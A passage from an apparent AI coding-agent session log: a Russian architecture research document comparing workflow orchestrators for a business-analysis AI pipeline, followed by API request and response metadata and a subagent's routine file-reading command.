\u0438 \u0447\u0430\u0442 n8n | \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u043a\u0430\u043d\u0430\u043b\u0443; \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 \u0432\u044b\u0431\u043e\u0440\u0430 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 |\\n| \u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e n8n (\u0412-7): \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Jira, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0444\u043e\u0440\u043c\u044b, \u0432\u044b\u0437\u043e\u0432 API runner | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49); \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 |\\n| Release | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 CI gate runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f | ADR-019 |\\n\\n**\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430.** \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0441\u0442\u043e\u044f\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\\n([ADR-019 L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)).\\n\u0414\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0442\u0440\u0438 \u0432\u0435\u0449\u0438: \u0434\u043e\u0441\u0442\u0443\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a Mango AI\\n([\u0413-43](#\u0433-43)), \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0411 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0437\u0435\u0440\u043a\u0430\u043b\u043e \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432:\\nDocker Hub \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b 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\u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435. \u0422\u043e\u0433\u0434\u0430\\n\u0441\u0440\u0435\u0434\u0430 4 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a CI gate \u043f\u043e\u0432\u0435\u0440\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u2014 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 ADR-019\\n\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442.\\n\\n## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n| \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b |\\n|---------|-----------|----------|\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\n| n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e (\u0412-6) | \u0412\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430; AI Agent \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; \u043d\u0435\u0442 `$ref` \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0435; Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043b\u0430\u0442\u043d\u0430\u044f; \u043f\u043e\u0442\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49) |\\n| LangGraph Server | \u041a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 | [\u0413-51](#\u0433-51) |\\n| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n| Windmill, Kestra, Prefect (\u0412-9) | \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445; \u0444\u043e\u0440\u043c\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f Windmill \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Enterprise ([docs](https://www.windmill.dev/docs/flows/flow_approval)); \u0443 Activepieces \u043f\u0430\u0443\u0437\u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 30 \u0434\u043d\u0435\u0439 ([limits](https://www.activepieces.com/docs/flows/known-limits)) | \u2014 |\\n| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\\n- **\u041f\u0440\u043e\u0442\u0438\u0432.** \u0422\u0430 \u0436\u0435 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\u043d\u0435\u0442.\\n- **\u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.** \u0417\u0430\u043a\u0440\u044b\u0442\u0438\u0435 Roo Code \u0438 \u0441\u043c\u0435\u043d\u0430 \u0438\u043c\u0451\u043d \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Cline\\n  ([\u0413-41](#\u0433-41)) \u2014 \u043b\u043e\u0433\u0438\u043a\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n  \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n\\n7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\",\n[2026-09-29T07:44:39.536Z] [INFO]       \"numLines\": 413,\n[2026-09-29T07:44:39.536Z] [INFO]       \"startLine\": 1,\n[2026-09-29T07:44:39.536Z] [INFO]       \"totalLines\": 509,\n[2026-09-29T07:44:39.536Z] [INFO]       \"truncatedByTokenCap\": [REDACTED]\n[2026-09-29T07:44:39.536Z] [INFO]     }\n[2026-09-29T07:44:39.536Z] [INFO]   }\n[2026-09-29T07:44:39.536Z] [INFO] }\n[2026-09-29T07:44:39.593Z] [STDOUT] [log_2c4eec] sending request {\n[2026-09-29T07:44:39.602Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:39.607Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:39.615Z] [STDOUT]   options: {\n[2026-09-29T07:44:39.619Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:39.623Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:39.632Z] [STDOUT]     body: {\n[2026-09-29T07:44:39.640Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:39.647Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:39.650Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:39.660Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:39.665Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:39.668Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:39.677Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:39.690Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:39.699Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:39.704Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:39.718Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:39.726Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:39.742Z] [STDOUT]     },\n[2026-09-29T07:44:39.755Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:39.759Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:39.773Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:39.784Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:39.791Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:39.796Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:39.805Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:39.810Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:39.827Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:39.837Z] [STDOUT]     },\n[2026-09-29T07:44:39.849Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:39.862Z] [STDOUT]   },\n[2026-09-29T07:44:39.869Z] [STDOUT]   headers: {\n[2026-09-29T07:44:39.878Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:39.886Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:39.897Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:39.909Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:39.926Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:39.935Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:39.944Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:39.957Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:39.975Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:39.982Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Read=234\",\n[2026-09-29T07:44:39.988Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:39.994Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:40.002Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.009Z] [STDOUT]     \"x-client-request-id\": \"f07c1fb5-b2a8-48f9-ba05-9f949b1fa313\",\n[2026-09-29T07:44:40.021Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:40.033Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:40.040Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:40.049Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:40.057Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:40.061Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:40.064Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:40.069Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:40.074Z] [STDOUT]   },\n[2026-09-29T07:44:40.081Z] [STDOUT] }\n[2026-09-29T07:44:40.089Z] [INFO] {\n[2026-09-29T07:44:40.089Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"message\": {\n[2026-09-29T07:44:40.089Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"id\": \"msg_011CfXMhHLh7N34YchACBcQf\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"content\": [\n[2026-09-29T07:44:40.089Z] [INFO]       {\n[2026-09-29T07:44:40.089Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"id\": \"toolu_01YcM1CxK6pFcict24td2771\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"input\": {\n[2026-09-29T07:44:40.089Z] [INFO]           \"command\": \"cat /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt | sed -n 20,120p\",\n[2026-09-29T07:44:40.089Z] [INFO]           \"description\": \"Read runs README part\"\n[2026-09-29T07:44:40.089Z] [INFO]         },\n[2026-09-29T07:44:40.089Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:40.089Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:40.089Z] [INFO]         }\n[2026-09-29T07:44:40.089Z] [INFO]       }\n[2026-09-29T07:44:40.089Z] [INFO]     ],\n[2026-09-29T07:44:40.089Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:40.089Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_creation_input_tokens\": 1070,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_read_input_tokens\": 23633,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:40.089Z] [INFO]         \"ephemeral_5m_input_tokens\": 1070,\n[2026-09-29T07:44:40.089Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:40.089Z] [INFO]       },\n[2026-09-29T07:44:40.089Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:44:40.089Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:40.089Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:40.089Z] [INFO]     },\n[2026-09-29T07:44:40.089Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:40.089Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:40.089Z] [INFO]   },\n[2026-09-29T07:44:40.089Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"uuid\": \"293ba5b7-6a58-45f9-87f4-e359a2b7374d\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:39.438Z\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"request_id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:40.089Z] [INFO] }\n[2026-09-29T07:44:40.105Z] [INFO] {\n[2026-09-29T07:44:40.105Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"description\": \"Running Read runs README part\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:40.105Z] [INFO]     \"total_tokens\": 24851,\n[2026-09-29T07:44:40.105Z] [INFO]     \"tool_uses\": 6,\n[2026-09-29T07:44:40.105Z] [INFO]     \"duration_ms\": 17145\n[2026-09-29T07:44:40.105Z] [INFO]   },\n[2026-09-29T07:44:40.105Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"uuid\": \"ee129f24-fee3-4fe1-a4b4-64ace4dec318\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:40.105Z] [INFO] }\n[2026-09-29T07:44:40.111Z] [STDOUT] [log_2c4eec, request-id: \"req_011CfXMhMXxaAgYKhWfVKz7E\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1134ms\n[2026-09-29T07:44:40.118Z] [STDOUT] [log_2c4eec] response start {\n[2026-09-29T07:44:40.122Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:40.128Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:40.141Z] [STDOUT]   headers: {\n[2026-09-29T07:44:40.154Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:40.165Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:40.178Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:40.190Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:40.198Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:40.204Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.215Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:40.226Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:40.264Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:40.269Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:40.280Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:40.285Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:40.300Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:40.317Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.330Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:40.343Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:40.354Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:40.366Z] [STDOUT]     \"cf-ray\": \"a4295d215ce129ad-FRA\",\n[2026-09-29T07:44:40.371Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:40.382Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:40.391Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:40.411Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:40.429Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:39 GMT\",\n[2026-09-29T07:44:40.440Z] [STDOUT]     \"request-id\": \"req_011CfXMhMXxaAgYKhWfVKz7E\",\n[2026-09-29T07:44:40.447Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:40.454Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; 